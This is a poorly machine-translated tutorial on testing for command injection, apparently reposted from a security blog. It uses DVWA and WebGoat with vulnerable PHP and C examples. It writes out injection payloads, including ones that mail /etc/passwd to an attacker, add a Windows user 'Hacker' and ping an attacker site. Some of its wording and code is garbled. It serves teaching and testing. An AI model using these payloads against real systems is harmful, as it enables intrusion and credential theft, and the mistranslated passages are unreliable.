Command injection (line injection)

Source: Internet
Author: User

Actual Combat part:

Description: Here I am using a platform of owasp and DVWA

Here's a quick installation method (under Windows):
First download webscarab-current.zip (this comes with Tomcat, there is also a way to download the war file, you need to install Tomcat yourself, the first recommended), the address is http://www.owasp.org/index.php/ Category:owasp_webgoat_project, unzip to a folder, run Webgoat.bat to launch its own tomcat, by accessing Http://localhost/WebGoat/attack, Enter user name guest, password guest can enter

Ncodeuricomponent method
Encodes a text string as a valid component of a Uniform Resource Identifier (URI).
encodeURIComponent (encodeduristring)
The required encodeduristring parameter represents an encoded URI component.
Description
The encodeURIComponent method returns an encoded URI. If you pass the encoding result to decodeURIComponent, the initial string is returned. Because the encodeURIComponent method encodes all characters, note that if the string represents a path, such as/folder1/folder2/default.html, the slash will also be encoded. This will invalidate the encoding result when it is sent as a request to the Web server. If the string contains more than one URI component, use the encodeURI method to encode it.

Oh! This vulnerability is very dangerous, needless to say.

DVWA part

Source

<?php

if (Isset ($_post[' submit ')) {

$target = $_request[' IP '];

Determine OS and execute the ping command.
if (Stristr (Php_uname (' s '), ' Windows NT ')) {

$cmd = shell_exec (' ping ' $target);
$html. = ' <pre> ' $cmd. ' </pre> ';

} else {

$cmd = Shell_exec (' ping-c 3 '. $target);
$html. = ' <pre> ' $cmd. ' </pre> ';

}

}
?>

As we can see from the above code, $target = $_request[' IP '); the content entered directly from the text box, without any

Limit, just as we saw above, using the "&&" connector in the operating system (in Windows Next & and Two &

Yes, you must have two under Linux), you can execute multiple commands.

---------------------------------------------------------------------------------------------------

Theoretical part:

How to test command injection

Summarize
Command injection vulnerabilities are particularly dangerous because they allow unauthorized execution of operating system commands, because they are not properly validated and disinfected, and are used when invoking the functionality of the shell, such as parameters. An attacker with control over these parameters can spoof the application to execute any system command of its own choice.
For example, a UNIX application lists the contents of a folder that is used. It takes the string folder_name, from the user, without any authentication, to connect to "LS" to establish the actual command. The application then passes the command ("LS folder_name") to the system () function and gets the result. A command injection vulnerability that allows an attacker to inject additional commands into the input string folder_name the result of an additional command that is being spoofed by the application to execute the attacker.
In order to properly test the command injection vulnerability, the following steps should be followed:
? 1th Step: Understanding the attack scenario
? 2nd Step: Analysis of causes and countermeasures
? 3rd step: Start experimenting and exploring
? 4th step: Fine-tuning test Cases

1th Step: Understanding the attack scenario
The first step in the command Injection vulnerability test is to understand the case of their attack, there are two common types of command injection vulnerabilities:
? direct command injection.
? Indirect command injection.

Scenario 1: direct Command injection
The most basic form includes commands that provide additional vulnerable applications directly. Command injection The attacker first discovers the application calls the system command as a parameter of the command, directly the user provides the data, then the attacker provides the expected parameters of the malicious command. The application executes the original command and then maliciously.
The detailed steps are as follows:
1. The attacker discovers that the application uses client input to execute the command.
2. Part of the malicious client Input command provided by the attacker.
3. The attacker observes that the application executes other commands.

Scenario 2: Indirect command injection
In this case, the command is injected, directly or indirectly, to provide additional vulnerable applications that can pass a file or environment variable command. First, the attacker subtracts an application from invoking a system command from an external data source, such as a file or environment variable, and then adding a malicious command to the external source of the content that the attacker modifies. The attacker then waits or forces a malicious command to execute with the original application.
The detailed steps are as follows:
1. The attacker discovers that the data used by the application is stored externally to execute the command.
2. An attacker who edits an external source includes malicious commands.
3. The attacker waits until the application executes the original command (or the attacker attempts to make the state of the application execute in the command provided therein).
4. The attacker validates the execution of the application by injecting the command.

2nd Step: Analysis of causes and countermeasures
In this step, you will understand the command injection vulnerability and the cause of the common defense. This will help you look for errors in the code and recognize the security coding practices.

Reason for command injection
The command injection vulnerability is a single cause: poor input validation. Creating any application that uses sterile data in the command string is susceptible to this error. The following code snippet demonstrates a command injection vulnerability. This runs under Windows using the input of PHP code to provide a text box form and call the Exec feature, type the file:


<?php

$command = ' type '. $_post[' username '];
EXEC ($command, $res);

for ($i = 0; $i < sizeof ($res); $i + +)
echo $res [$i]. ' <br> ';

?>

The user can provide the following string in the list of active connections in the server:

File.txt|netstat-ano


The following example runs in C + + (by owasp [I]) in a POSIX-compliant Unix-like environment, such as using the supplied command-line input to the system and running the cat command:
#include <stdio.h>
#include <unistd.h>

int main (int argc, char **argv) {

Char cat[] = "Cat";
Char *command;
size_t Commandlength;

Commandlength = strlen (cat) + strlen (argv[1]) + 1;
Command = (char *) malloc (commandlength);
strncpy (command, Cat, commandlength);
Strncat (command, Argv[1], (Commandlength-strlen (CAT)));

System (command);
return (0);

}

The user can provide the following string to the contents of the current directory of the server to list the contents of the directory:

File.txt;ls

The above code fragment uses two different functions, the interactive shell executes exec () and (). The following list summarizes common features in command injection attacks:

Function Language
System, EXECLP,EXECVP, ShellExecute, _wsystem/C + +
Runtime.exec Java
exec, eval PHP
exec, open, eval, Perl
exec, eval, execfile, input Python
Shell, Shellexecuteforexplore, ShellExecute VB


Command Injection Countermeasures
Application Defense Command injection vulnerabilities are verified and disinfected by doing the correct input. Developers must look at all cases where the application calls a shell system function, such as execution or system, to avoid execution unless the parameters are properly validated and disinfected. There are two possible ways to verify these parameters: Use a black list or use a whitelist.
The blacklist is checked before the malicious mode is allowed to execute. In case of command injection, a black command list may contain delimiters such as semicolons (;) vertical dash (|), double dash (| |), dual-amp (&&) dangerous commands such as RM,CP, Cat, LS, in net parameters, Netstat,del, copy, etc., but, A major drawback is that this countermeasure is effective unless the blacklist is absolutely all about the possibility of danger, and attackers can find changes outside the blacklist to attack.
The whitelist matches the safe execution pattern, which is not allowed if the problematic data does not match any security mode. This dangerous construct, because of any new changes in the structure of the (malicious), does not conform to the security of the problem of resolving this issue one is the system automatically blocked. A common way to implement a whitelist is to match the input to the regular expression representation of the secure command format. However, complex regular expressions can be written and interpreted. Developers must ensure that they understand how to write and interpret regular expressions before implementing this defense.
3rd step: Start experimenting and exploring
In this step, you will start testing the basic command injection string for your application and watch how the application reacts.
The beginning of a simple test string
First, you need to find all the places where your application calls system commands to execute and manipulate, and then in these places, start exploring how the command injects the basic characteristics of the required application processing. The following two strings are good attempts because they contain command and command injection characters:
Abc;dir C:|xyz&netstat (Windows)
ABC;LS|CP&AMP;RM (UNIX)
If the application does not give an error message because of the special character, then there is a chance that it receives a vulnerability from the command injection.

Create a valid command
The important thing is that you are able to understand. For example, an error that does not find a file, rather than an invalid data format error, is a good hint that the application needs to handle the special characters as part of the file. For example, you might get an error that cannot find a file when you use the following string:
File.txt|dir C:
This is because the application calls the following string of exec ():
CMD/C type "C:\public_html\user_files\file.txt|dir C:"

You need to close the double quotation marks of the directory List command before you perform additional additional commands for the input string:
File.txt "|dir C:

Special attention needs to be paid to quotation marks and double quotes, because omitted, they can easily lead to the injection of strings as data processing.
Sometimes the application does not reflect the output of injected commands on the screen. To solve this problem, use the command to not create the screen output, but perform a visible action:
File.txt;mail </etc/passwd
Emails attacker the server ' s passwords.
File.txt|net User/add "Hacker"
Adds Hacker to the Windows user database.
File.txt;ping%20attacker_site Pings the attacker site.

4th step: Fine-tuning test case data
Thoroughly testing your application for a command injection vulnerability, you must overwrite all possible entry points and command injection is possible in the case.
Try different pointcuts and scenes
Continue exploring the entry points for different applications. In the case of testing, the format of the data will differ from the entry point. For example, if you are testing via URL string file.txt "DIR C: May look like a 2 or less (depending on the URL encoding):
? File.txt "|DIR%20C:
? File.txt "|dir+c:
?
? It is important that you consider different coding methods and data formats to inject additional commands into the entry points, such as: input fields, URL parameters, post data, Web service methods, user interface elements, environment variables, database contents, registry contents, file contents, third party APIs, and network packets.
? When indirect command injection is tested, it is important that you control the parameters of the source passed to the target function. For example, if you are attacked by an application, you must control the file that is passed to the function. Let's say that the application uses the execfile/private/Commands.txt, where you do not need to pass any malicious arguments, you must modify the command file to inject malicious instructions, and wait (or force) to inject the command to execute. It is recommended that you use the Environmental monitoring tool when testing direct injection. You can use the Sysinternals Process Explorer registry, the file system, and now combine to find out the commands that your application uses to invoke shell or system environment variables when using external resources.
? Conclusion
? Command injection vulnerabilities exist because of poor input validation and the ability to disinfect interactions with the operating system's shell using parameters. Any attacker who controls these parameters can force the application to execute unnecessary system commands. The command injection vulnerability performs a comparison test, including manipulating the original command arguments, the command-injected string, and the different combinations under test under the entry point of the operation to be performed.

Command injection (line injection)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.